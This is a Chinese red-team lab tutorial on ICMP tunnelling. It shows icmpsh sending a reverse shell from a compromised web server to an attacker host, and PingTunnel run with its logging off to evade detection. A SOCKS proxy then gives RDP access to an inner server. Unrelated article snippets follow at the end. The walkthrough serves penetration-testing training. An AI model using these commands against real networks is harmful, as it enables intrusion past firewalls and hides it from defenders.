《红蓝攻防对抗实战》十二.内网穿透之利用ICMP协议进行隧道穿透
内网穿透之利用ICMP协议进行隧道穿透
- 一.前言
- 二.前文推荐
- 三.利用ICMP协议进行隧道穿透
- 1.ICMPsh获取反弹shell
- 2.PingTunnel 搭建隧道
- 四.本篇总结
一.前言
本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。常见的ICMP隧道穿透工具有Icmpsh、Icmptunnel、Pingtunnel等。本文以ICMPsh和Pingtunnel为例,介绍了如何利用ICMP协议进行隧道穿透。
二.前文推荐
《红蓝攻防对抗实战》一. 隧道穿透技术详解
《红蓝攻防对抗实战》二.内网探测协议出网之TCP/UDP协议探测出网
《红蓝攻防对抗实战》三.内网探测协议出网之HTTP/HTTPS协议探测出网
《红蓝攻防对抗实战》四.内网探测协议出网之ICMP协议探测出网
《红蓝攻防对抗实战》五.内网探测协议出网之DNS协议探测出网
《红蓝攻防对抗实战》六.常规反弹之利用NC在windows系统执行反弹shell
《红蓝攻防对抗实战》七.常规反弹之利用NC在Linux系统执行反弹shell
《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密
《红蓝攻防对抗实战》九.内网穿透之利用GRE协议进行隧道穿透
《红蓝攻防对抗实战》十.内网穿透之利用DNS协议进行隧道穿透
《红蓝攻防对抗实战》十一.内网穿透之利用SSH协议进行隧道穿透
————————————————————————————————————————————
三.利用ICMP协议进行隧道穿透
下面将介绍通过ICMP协议进行隧道穿透的方法。这种手段的优点是不需要开放端口就可将TCP/UDP数据封装到ICMP的Ping数据包中,从而绕过防火墙的限制,攻击者可以利用较短的命令得到大量的ICMP响应,常见的ICMP隧道穿透通常可以利用Icmpsh、Icmptunnel、Pingtunnel等工具实现,笔者这里以ICMPsh和Pingtunnel为案例介绍如何利用ICMP协议进行隧道穿透。
1.ICMPsh获取反弹shell
ICMPsh是一个简单的反向ICMP shell,与其他类似的开源工具相比,它的主要优势在于不需要管理权限即可在目标主机上运行,如图1-1所示的拓扑,假设内网中发现Web服务器,测试后其他协议方式无法进行隧道穿透,探测其开放ICMP协议,且获取到命令执行权限后,可以尝试利用ICMP隧道工具进行后续操作。
1)首先在攻击机中执行echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all命令,关闭攻击机ICMP协议的应答。因为该工具要代替攻击机系统本身的ping命令去应答,为了防止内核自己对Ping数据包进行响应,所以需要关闭系统的ICMP应答,执行后如图1-2所示。
2)关闭ICMP应答后,在攻击机中执行python2 icmpsh_m.py 192.168.0.2 192.168.0.3命令来连接Web服务器,如图1-3所示。这里注意的是,攻击机需要使用Python 2的环境来安装python-impacket模块,我们可以使用pip install impacket==0.9.12命令或者官网下载模块安装。
3)上述步骤操作完毕后,上传icmpsh.exe工具到Web服务器,在Web服务器执行icmpsh.exe -t 192.168.0.2命令反弹Shell到攻击机,执行结果如图1-4所示。
4)此时攻击机已经成功获得Web服务器反弹的Shell权限,如图1-5所示。
2.PingTunnel 搭建隧道
PingTunnel工具是基于ICMP协议的开源的隧道工具,其优点是使用简单,它的原理是通过将TCP/UDP/Sock5流量夹带在ICMP数据中进行转发,下面将会演示如何使用该工具进行隧道穿透,该工具的具体使用详细参数如表1-1所示。
参数 | 作用 |
---|---|
-key | 设置的密码,默认为 0 |
-nolog | 不写日志文件,只打印标准输出,默认 0 |
-noprint | 不打印屏幕输出,默认 0 |
-loglevel | 日志文件等级,默认 info |
-maxconn | 最大连接数,默认 0,不受限制 |
-maxprt | server 最大处理线程数,默认 100 |
-maxprb | server 最大处理线程 buffer 数,默认 1000 |
-conntt | server 发起连接到目标地址的超时时间,默认 1000ms |
-l | 本地的地址,发到这个端口的流量将转发到服务器 |
-s | 服务器的地址,流量将通过隧道转发到这个服务器 |
-t | 远端服务器转发的目的地址,流量将转发到这个地址 |
-timeout | 记录连接超时的时间,单位是秒,默认 60s |
-tcp | 设置是否转发 tcp,默认 0 |
-tcp_bs | tcp 的发送接收缓冲区大小,默认 1MB |
-tcp_mw | tcp 的最大窗口,默认 20000 |
-tcp_rst | tcp 的超时发送时间,默认 400ms |
-tcp_gz | 当数据包超过这个大小,tcp 将压缩数据,0 表示不压缩,默认0 |
-tcp_stat | 打印 tcp 的监控,默认 0 |
-sock5 | 开启 sock5 转发,默认 0 |
-profile | 在指定端口开启性能检测,默认 0 不开启 |
-s5filter | sock5 模式设置转发过滤,默认全转发,设置 CN 代表 CN 地区的直连不转发 |
假设在内网渗透中发现主机,通过漏洞获取到系统控制权限,在对其进一步探测时,由于安全设备等方式的阻拦,其他协议方式无法穿透,这里仅开放ICMP协议,我们可以尝试利用PingTunnel工具进行后续操作,本次实验拓扑如图1-6所示,本次实验环境表如1-2所示。
表1-2 ICMP协议实验环境表
主机类型 | IP配置 |
---|---|
攻击机 | 192.168.0.2 |
Web服务器 | 192.168.0.3,192.168.52.2 |
目标服务器 | 192.168.52.3 |
1)在攻击机上也可以执行sysctl -w net.ipv4.icmp_echo_ignore_all=1命令,关闭ICMP应答,防止接受本地的响应的ping数据包,如图1-7所示。注意实验完成后,如果要开启Icmp应答,我们使用上面这条命令将值改为0即可开启icmp应答。
2)将PingTunnel工具上传至Web服务器后执行./pingtunnel -type server -noprint 1 -nolog 1命令,即可在Web服务器开启服务端监听,其中-noprint参数和-nolog参数是禁止产生日志文件,如果不使用该参数执行,则Web服务器就会生成大量的日志文件,很容易被检测到,执行成功后如图1-8所示。
3)在攻击机执行./pingtunnel -type client -l :1080 -s 192.168.0.3 -sock5 1命令,去连接服务端,这里攻击机将作为客户端连接Web服务器监听,并设置本地的1080端口做为socks连接端口,执行后如图1-9所示。
4)随后,在攻击机中修改proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 1080参数来完成proxychains代理配置,如图1-10所示。

5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.3命令来连接靶机,如图1-11所示,通过所建立的icmp协议隧道,我们可以直接远程连接到目标服务器中。
四.本篇总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网中,在本篇文章中介绍了如何利用ICMP协议进行隧道穿透,ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。希望本篇对读者有用。
相关文章:

《红蓝攻防对抗实战》十二.内网穿透之利用ICMP协议进行隧道穿透
内网穿透之利用ICMP协议进行隧道穿透 一.前言二.前文推荐三.利用ICMP协议进行隧道穿透1.ICMPsh获取反弹shell2.PingTunnel 搭建隧道 四.本篇总结 一.前言 本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据…...
【海德教育】国家开放大学和函授区别有:学校不同、入学门槛不同、学习方式不同、招生对象不同、学习年限不同,具体如下:
一、学校不同。 国家开放大学的招收学校是中央电大和各省市、自治州、市辖区及单设的国家开放大学。函授是成人高考学习方式,成考是普通高等院校举行的、单设的成人高等学校。 二、入学门槛不同。 国家开放大学对入学者的年龄、职业、地区和学习资历等方面都没有太多…...

单片机启动流程
存储器 一个单片机中存在rom和ram,Soc也有rom和ram(ddrx),部分Soc还包含MMU(Memory Manage Unit 内存管理单元)— (用于系统内存管理,比如说虚拟内存空间,内存区间的…...

Linux学习教程(第二章 Linux系统安装)2
第二章 Linux系统安装 四、使用U盘安装Linux系统 前面章节介绍了如何通过虚拟机 VMware 安装 Linux 系统,而实际开发中,我们更多的是要将 Linux 系统直接安装到电脑上。 直接在电脑上安装 Linux 系统的常用方法有 2 种,分别是用光盘安装和用…...

操作系统 | proc文件系统
🌈个人主页:Sarapines Programmer🔥 系列专栏:《操作系统实验室》🔖少年有梦不应止于心动,更要付诸行动。 目录结构 1. 操作系统实验之proc文件系统 1.1 实验目的 1.2 实验内容 1.3 实验步骤 1.4 实验…...
刷题笔记(第五天)
1. 给定一个罗马数字,将其转换成整数。 罗马数字包含以下七种字符: I, V, X, L,C,D 和 M。 字符 数值 I 1 V 5 X 10 L 50 C 100 …...
【OpenHarmony内核】Harmony内核互斥性信号量
文章目录 前言一、互斥性信号量是什么?二、互斥性信号量2.1 osSemaphoreNew函数创建并初始化一个信号量对象2.2 osSemaphoreGetName获取信号量对象的名称2.3 osSemaphoreAcquire获取一个信号量令牌2.4 osSemaphoreRelease2.5 osSemaphoreGetCount获取当前信号量令牌的数量2.6 …...
给OFFICE增加一个功能搜索
OFFICE功能几乎是无限的。不论你怎么熟悉,总有出乎意料的功能。前几天我使用EXCEL时,发现一个功能改名了。于是我就想,OFFICE应该增加一个功能搜索: 提供一个搜索输入栏。这个已经有了。输入搜索字串弹出一个面板,附带…...

53基于matlab的Tamura纹理特征提取
基于matlab的Tamura纹理特征提取,包括粗糙度、对比度、方向度、线性度、规则度、粗糙度六种,可替换自己的数据进行特征提取。程序已调通,可直接运行。 53 方向度、线性度、规则度 (xiaohongshu.com)...

C++初阶--类与对象(3)(图解)
文章目录 再谈构造函数初始化列表隐式类型转换explicit关键字 static成员友元类内部类匿名对象拷贝函数时的一些优化 再谈构造函数 在我们之前的构造函数中,编译器会通过构造函数,对对象中各个成员给出一个适合的初始值,但这并不能称之为初始…...

考研分享第1期 | 末9生物跨专业考研北京大学电子信息404分经验分享
全文概览 一、个人信息 二、关于考研的经验分享 三、最后的小Tips 一、个人信息 姓名:Jackson 本科院校:某末流985生物专业 报考院校:北京大学电子信息专业 择校意向:北航计算机、人大高瓴、复旦软院、清华大学深研院、北…...

openGauss学习笔记-120 openGauss 数据库管理-设置密态等值查询-概述及使用gsql操作密态数据库
文章目录 openGauss学习笔记-120 openGauss 数据库管理-设置密态等值查询-概述及使用gsql操作密态数据库120.1 密态等值查询概述120.2 使用gsql操作密态数据库 openGauss学习笔记-120 openGauss 数据库管理-设置密态等值查询-概述及使用gsql操作密态数据库 120.1 密态等值查询…...

软件自动化测试平台
软件测试分类黑盒、白盒、功能、API、接口、压力测试和性能测试, 自动化测试平台是一种用于自动化执行软件测试过程的工具。 一、自动化测试平台-功能性 1. 接口自动化:对接软件的接口进行测试,验证接口的功能和性能。 2. Web 自动化&…...
springMVC 导出Excel ,并提供下载(处理日期格式问题)
目录 1、POI的三个依赖 2、控制层代码 3、业务层代码 4、参考文献: 1、POI的三个依赖 <!-- POI的三个依赖 --><dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactId><version>4.1.2</vers…...
软件工程理论与实践 (吕云翔) 第二章软件过程 课后习题及其答案
软件工程理论与实践 (吕云翔) 第二章课后习题 第二章 软件过程 1.判断题 (1)瀑布模型的最大优点是将软件开发的各个阶段划分得十分清晰。 ( ) (2)螺旋模型是在瀑布模型和增量模型的基础上增加了风险分析活动。( ) …...

HTML跳转锚点
跳转锚点适用于本页面和其他页面的任意标签的跳转以及JavaScript的运行 使用方法即给标签加上独一无二的id属性,再使用a标签跳转 如果是其他页面的标签只需加上其他页面的路径,eg.href"其他页面的路径#zp1" id属性的最好不要使用数字开头 <…...

新能源汽车高压线束是如何快速连接到测试设备上进行电性能测试的
快速连接形成稳定的电测试在新能源行业里面是很常见的测试场景,比如说在新能源汽车行业的电池包、电机、电控制器的电性能测试中会有很多高压线束,需要将这些线束和电池包、电控制器、电机与测试设备快速连接在一起进行相关的EOL/DCR测试。 新能源汽车高…...

Azure 机器学习 - 使用受保护工作区时的网络流量流
目录 环境准备入站和出站要求方案:从工作室访问工作区方案:从工作室使用 AutoML、设计器、数据集和数据存储方案:使用计算实例和计算群集方案:使用联机终结点入站通信出站通信 方案:使用 Azure Kubernetes 服务方案&am…...

强化学习中蒙特卡罗方法
一、蒙特卡洛方法 这里将介绍一个学习方法和发现最优策略的方法,用于估计价值函数。与前文不同,这里我们不假设完全了解环境。蒙特卡罗方法只需要经验——来自实际或模拟与环境的交互的样本序列的状态、动作和奖励。从实际经验中学习是引人注目的&#x…...

Pytorch从零开始实战09
Pytorch从零开始实战——YOLOv5-Backbone模块实现 本系列来源于365天深度学习训练营 原作者K同学 文章目录 Pytorch从零开始实战——YOLOv5-Backbone模块实现环境准备数据集模型选择开始训练可视化模型预测总结 环境准备 本文基于Jupyter notebook,使用Python3.…...

黑马Mybatis
Mybatis 表现层:页面展示 业务层:逻辑处理 持久层:持久数据化保存 在这里插入图片描述 Mybatis快速入门 
Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例
使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件,常用于在两个集合之间进行数据转移,如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model:绑定右侧列表的值&…...

通过MicroSip配置自己的freeswitch服务器进行调试记录
之前用docker安装的freeswitch的,启动是正常的, 但用下面的Microsip连接不上 主要原因有可能一下几个 1、通过下面命令可以看 [rootlocalhost default]# docker exec -it freeswitch fs_cli -x "sofia status profile internal"Name …...
comfyui 工作流中 图生视频 如何增加视频的长度到5秒
comfyUI 工作流怎么可以生成更长的视频。除了硬件显存要求之外还有别的方法吗? 在ComfyUI中实现图生视频并延长到5秒,需要结合多个扩展和技巧。以下是完整解决方案: 核心工作流配置(24fps下5秒120帧) #mermaid-svg-yP…...

五子棋测试用例
一.项目背景 1.1 项目简介 传统棋类文化的推广 五子棋是一种古老的棋类游戏,有着深厚的文化底蕴。通过将五子棋制作成网页游戏,可以让更多的人了解和接触到这一传统棋类文化。无论是国内还是国外的玩家,都可以通过网页五子棋感受到东方棋类…...

UE5 音效系统
一.音效管理 音乐一般都是WAV,创建一个背景音乐类SoudClass,一个音效类SoundClass。所有的音乐都分为这两个类。再创建一个总音乐类,将上述两个作为它的子类。 接着我们创建一个音乐混合类SoundMix,将上述三个类翻入其中,通过它管理每个音乐…...
起重机起升机构的安全装置有哪些?
起重机起升机构的安全装置是保障吊装作业安全的关键部件,主要用于防止超载、失控、断绳等危险情况。以下是常见的安全装置及其功能和原理: 一、超载保护装置(核心安全装置) 1. 起重量限制器 功能:实时监测起升载荷&a…...

Qwen系列之Qwen3解读:最强开源模型的细节拆解
文章目录 1.1分钟快览2.模型架构2.1.Dense模型2.2.MoE模型 3.预训练阶段3.1.数据3.2.训练3.3.评估 4.后训练阶段S1: 长链思维冷启动S2: 推理强化学习S3: 思考模式融合S4: 通用强化学习 5.全家桶中的小模型训练评估评估数据集评估细节评估效果弱智评估和民间Arena 分析展望 如果…...
零基础在实践中学习网络安全-皮卡丘靶场(第十一期-目录遍历模块)
经过前面几期的内容我们学习了很多网络安全的知识,而这期内容就涉及到了前面的第六期-RCE模块,第七期-File inclusion模块,第八期-Unsafe Filedownload模块。 什么是"遍历"呢:对学过一些开发语言的朋友来说应该知道&…...

Qt 按钮类控件(Push Button 与 Radio Button)(1)
文章目录 Push Button前提概要API接口给按钮添加图标给按钮添加快捷键 Radio ButtonAPI接口性别选择 Push Button(鼠标点击不放连续移动快捷键) Radio Button Push Button 前提概要 1. 之前文章中所提到的各种跟QWidget有关的各种属性/函数/方法&#…...